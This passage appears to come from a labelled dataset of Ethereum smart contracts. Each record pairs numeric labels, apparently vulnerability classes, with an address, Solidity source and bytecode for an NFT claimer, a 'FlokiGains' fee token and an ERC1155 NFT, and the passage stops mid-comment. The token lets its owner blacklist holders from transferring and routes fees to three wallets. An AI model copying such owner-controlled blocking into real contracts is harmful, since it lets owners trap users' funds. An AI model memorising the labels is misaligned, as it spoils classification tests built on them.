20879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a36040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b8381101561096457818101518382015260200161094c565b50505050905090810190601f1680156109915780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156109b357600080fd5b505af11580156109c7573d6000803e3d6000fd5b506001979650505050505050565b8181028215806109ef57508183828115156109ec57fe5b04145b151561055057600080fd5b600154600160a060020a031681565b60008054600160a060020a03163314610a2157600080fd5b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810186905290519186169263a9059cbb926044808401936020939083900390910190829087803b158015610a9157600080fd5b505af1158015610aa5573d6000803e3d6000fd5b505050506040513d6020811015610abb57600080fd5b50519392505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b8181018281101561055057600080fd5b600054600160a060020a03163314610b1657600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820cbd6badf548a215f44891db979173de9e417a17790e2ba0a0fdf431a24b029ac0029
[ 2 ]
0xf3238266708e567bfee27f2034b08067c6ffed28
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/Claimer.sol pragma solidity >=0.8.3; interface IMintContract { function mint(uint256 _optionId, address _toAddress) external; function ownerOf(uint256 tokenId) external view returns (address owner); } /// @title бесплатный минт машин с MusicRacerNft333 на новый контракт contract Claimer is Ownable { uint256 public Count; IMintContract public ContractOld = IMintContract(0x12e609AcbD92FF7339bB6dDeB87295Fb33A4BaD0); IMintContract public ContractNew; mapping(uint256 => bool) Transferred; event TransferToken(uint256 tokenId); function SetOldContract(address addr) public onlyOwner { ContractOld = IMintContract(addr); } function SetNewContract(address addr) public onlyOwner { ContractNew = IMintContract(addr); } /// @dev если истина, то указанный токен уже был использован function IsTransferred(uint256 tokenId) public view returns (bool) { return Transferred[tokenId]; } /// @dev вызывайте эту функцию, чтобы получить бесплатно машину в новом контракте function Transfer(uint256 tokenId) public { require(!Transferred[tokenId]); Transferred[tokenId] = true; ContractNew.mint(1, ContractOld.ownerOf(tokenId)); ++Count; emit TransferToken(tokenId); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c806393a8333e1161006657806393a8333e14610130578063cac91c8914610147578063e9359e3b1461015a578063ede0df7e1461016d578063f2fde38b1461018057600080fd5b8063248dd407146100a35780633bae5bfd146100b857806343c92098146100cb578063715018a6146101035780638da5cb5b1461010b575b600080fd5b6100b66100b13660046104bf565b610193565b005b6100b66100c63660046104ed565b6102fd565b6100ee6100d93660046104bf565b60009081526004602052604090205460ff1690565b60405190151581526020015b60405180910390f35b6100b6610352565b6000546001600160a01b03165b6040516001600160a01b0390911681526020016100fa565b61013960015481565b6040519081526020016100fa565b600254610118906001600160a01b031681565b600354610118906001600160a01b031681565b6100b661017b3660046104ed565b610388565b6100b661018e3660046104ed565b6103d4565b60008181526004602052604090205460ff16156101af57600080fd5b600081815260046020819052604091829020805460ff1916600190811790915560035460025493516331a9108f60e11b81529283018590526001600160a01b03908116936394bf804d93911690636352211e9060240160206040518083038186803b15801561021d57600080fd5b505afa158015610231573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102559190610511565b6040516001600160e01b031960e085901b16815260048101929092526001600160a01b03166024820152604401600060405180830381600087803b15801561029c57600080fd5b505af11580156102b0573d6000803e3d6000fd5b505050506001600081546102c39061052e565b909155506040518181527fac5f5d9e465d127239302b74b4b91fbb37c47a92b1dd1d6e1864f535e8ca5fe89060200160405180910390a150565b6000546001600160a01b031633146103305760405162461bcd60e51b815260040161032790610557565b60405180910390fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461037c5760405162461bcd60e51b815260040161032790610557565b610386600061046f565b565b6000546001600160a01b031633146103b25760405162461bcd60e51b815260040161032790610557565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146103fe5760405162461bcd60e51b815260040161032790610557565b6001600160a01b0381166104635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610327565b61046c8161046f565b50565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156104d157600080fd5b5035919050565b6001600160a01b038116811461046c57600080fd5b6000602082840312156104ff57600080fd5b813561050a816104d8565b9392505050565b60006020828403121561052357600080fd5b815161050a816104d8565b600060001982141561055057634e487b7160e01b600052601160045260246000fd5b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea2646970667358221220e25dcc7134b129373e34f2f4c2b56e1004460db27935bac53fe17c223852b88964736f6c63430008090033
[ 38 ]
0xf3244ea394e2c8d76615230510994ed44f996c81
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FlokiGains is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private setTax; uint256 private setRedis; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "FlokiGains"; string private constant _symbol = "FlokiG"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1,address payable _add2,address payable _add3) { _feeAddrWallet1 = _add1; _feeAddrWallet2 = _add2; _feeAddrWallet3 = _add3; _rOwned[_feeAddrWallet1] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), _feeAddrWallet1, _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = setRedis; _feeAddr2 = setTax; uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > _tTotal/1000){ if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { uint256 toSend = amount/3; _feeAddrWallet1.transfer(toSend); _feeAddrWallet2.transfer(toSend); _feeAddrWallet3.transfer(toSend); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); setTax = 9; setRedis = 1; swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklist(address _address) external onlyOwner{ bots[_address] = true; } function removeBlacklist(address notbot) external onlyOwner{ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet2); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102c8578063c9567bf9146102dd578063dd62ed3e146102f2578063eb91e65114610338578063f9f92be41461035857600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b4114610279578063a9059cbb146102a857600080fd5b8063313ce567116100d1578063313ce567146101c95780635932ead1146101e55780636fc3eaec1461020757806370a082311461021c57600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a815269466c6f6b694761696e7360b01b60208201525b60405161014a91906114cb565b60405180910390f35b34801561015f57600080fd5b5061017361016e366004611437565b610378565b604051901515815260200161014a565b34801561018f57600080fd5b50683635c9adc5dea000005b60405190815260200161014a565b3480156101b557600080fd5b506101736101c43660046113f6565b61038f565b3480156101d557600080fd5b506040516009815260200161014a565b3480156101f157600080fd5b50610205610200366004611463565b6103f8565b005b34801561021357600080fd5b50610205610449565b34801561022857600080fd5b5061019b610237366004611383565b610476565b34801561024857600080fd5b50610205610498565b34801561025d57600080fd5b506000546040516001600160a01b03909116815260200161014a565b34801561028557600080fd5b50604080518082019091526006815265466c6f6b694760d01b602082015261013d565b3480156102b457600080fd5b506101736102c3366004611437565b61050c565b3480156102d457600080fd5b50610205610519565b3480156102e957600080fd5b5061020561054f565b3480156102fe57600080fd5b5061019b61030d3660046113bd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561034457600080fd5b50610205610353366004611383565b610914565b34801561036457600080fd5b50610205610373366004611383565b61095f565b60006103853384846109ad565b5060015b92915050565b600061039c848484610ad1565b6103ee84336103e985604051806060016040528060288152602001611686602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c17565b6109ad565b5060019392505050565b6000546001600160a01b0316331461042b5760405162461bcd60e51b815260040161042290611520565b60405180910390fd5b60128054911515600160b81b0260ff60b81b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461046957600080fd5b4761047381610c51565b50565b6001600160a01b03811660009081526002602052604081205461038990610d0f565b6000546001600160a01b031633146104c25760405162461bcd60e51b815260040161042290611520565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610385338484610ad1565b600e546001600160a01b0316336001600160a01b03161461053957600080fd5b600061054430610476565b905061047381610d93565b6000546001600160a01b031633146105795760405162461bcd60e51b815260040161042290611520565b601254600160a01b900460ff16156105d35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610422565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106103082683635c9adc5dea000006109ad565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064957600080fd5b505afa15801561065d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068191906113a0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c957600080fd5b505afa1580156106dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070191906113a0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561074957600080fd5b505af115801561075d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078191906113a0565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d71947306107b181610476565b6000806107c66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561082957600080fd5b505af115801561083d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610862919061149d565b50506009600c55506001600d556012805463ffff00ff60a01b198116630101000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b1580156108d857600080fd5b505af11580156108ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109109190611480565b5050565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161042290611520565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161042290611520565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610422565b6001600160a01b038216610a705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610422565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b335760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610422565b6001600160a01b03831660009081526006602052604090205460ff1615610b5957600080fd5b6001600160a01b0383163014610c0757600d54600a55600c54600b556000610b8030610476565b9050610b976103e8683635c9adc5dea000006115de565b811115610c0557601254600160a81b900460ff16158015610bc657506012546001600160a01b03858116911614155b8015610bdb5750601254600160b01b900460ff165b15610c0557610be981610d93565b47670429d069189e0000811115610c0357610c0347610c51565b505b505b610c12838383610f1c565b505050565b60008184841115610c3b5760405162461bcd60e51b815260040161042291906114cb565b506000610c48848661161f565b95945050505050565b6000610c5e6003836115de565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015610c99573d6000803e3d6000fd5b50600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cd4573d6000803e3d6000fd5b506010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c12573d6000803e3d6000fd5b6000600854821115610d765760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610422565b6000610d80610f27565b9050610d8c8382610f4a565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ddb57610ddb61164c565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e2f57600080fd5b505afa158015610e43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6791906113a0565b81600181518110610e7a57610e7a61164c565b6001600160a01b039283166020918202929092010152601154610ea091309116846109ad565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ed9908590600090869030904290600401611555565b600060405180830381600087803b158015610ef357600080fd5b505af1158015610f07573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b610c12838383610f8c565b6000806000610f34611083565b9092509050610f438282610f4a565b9250505090565b6000610d8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110c5565b600080600080600080610f9e876110f3565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fd09087611150565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fff9086611192565b6001600160a01b038916600090815260026020526040902055611021816111f1565b61102b848361123b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107091815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061109f8282610f4a565b8210156110bc57505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836110e65760405162461bcd60e51b815260040161042291906114cb565b506000610c4884866115de565b60008060008060008060008060006111108a600a54600b5461125f565b9250925092506000611120610f27565b905060008060006111338e8787876112b4565b919e509c509a509598509396509194505050505091939550919395565b6000610d8c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c17565b60008061119f83856115c6565b905083811015610d8c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610422565b60006111fb610f27565b905060006112098383611304565b306000908152600260205260409020549091506112269082611192565b30600090815260026020526040902055505050565b6008546112489083611150565b6008556009546112589082611192565b6009555050565b600080808061127960646112738989611304565b90610f4a565b9050600061128c60646112738a89611304565b905060006112a48261129e8b86611150565b90611150565b9992985090965090945050505050565b60008080806112c38886611304565b905060006112d18887611304565b905060006112df8888611304565b905060006112f18261129e8686611150565b939b939a50919850919650505050505050565b60008261131357506000610389565b600061131f8385611600565b90508261132c85836115de565b14610d8c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610422565b60006020828403121561139557600080fd5b8135610d8c81611662565b6000602082840312156113b257600080fd5b8151610d8c81611662565b600080604083850312156113d057600080fd5b82356113db81611662565b915060208301356113eb81611662565b809150509250929050565b60008060006060848603121561140b57600080fd5b833561141681611662565b9250602084013561142681611662565b929592945050506040919091013590565b6000806040838503121561144a57600080fd5b823561145581611662565b946020939093013593505050565b60006020828403121561147557600080fd5b8135610d8c81611677565b60006020828403121561149257600080fd5b8151610d8c81611677565b6000806000606084860312156114b257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156114f8578581018301518582016040015282016114dc565b8181111561150a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115a55784516001600160a01b031683529383019391830191600101611580565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115d9576115d9611636565b500190565b6000826115fb57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561161a5761161a611636565b500290565b60008282101561163157611631611636565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461047357600080fd5b801515811461047357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206f54491583c52aabd94577bbea748c5f57ef98c72c4b1e916818aa7135836a2f64736f6c63430008070033
[ 13, 5, 11 ]
0xf32461F8093c3BFDaf76746f58492f50A8b86EB1
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "ERC1155.sol"; import "Ownable.sol"; import "Strings.sol"; contract DenisPiece is ERC1155, Ownable { constructor() ERC1155("https://nft.anothernow.io/provenance-art-gallery/denis-piece/metadata/") {} function setURI(string memory newuri) public onlyOwner { _setURI(newuri); } function mint(address account, uint256 id, uint256 amount, bytes memory data) public onlyOwner { _mint(account, id, amount, data); } function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) public onlyOwner { _mintBatch(to, ids, amounts, data); } function uri(uint256 _tokenId) override public view returns (string memory) { return string( abi.encodePacked( super.uri(_tokenId), Strings.toString(_tokenId), ".json" ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC1155.sol"; import "IERC1155Receiver.sol"; import "IERC1155MetadataURI.sol"; import "Address.sol"; import "Context.sol"; import "ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev 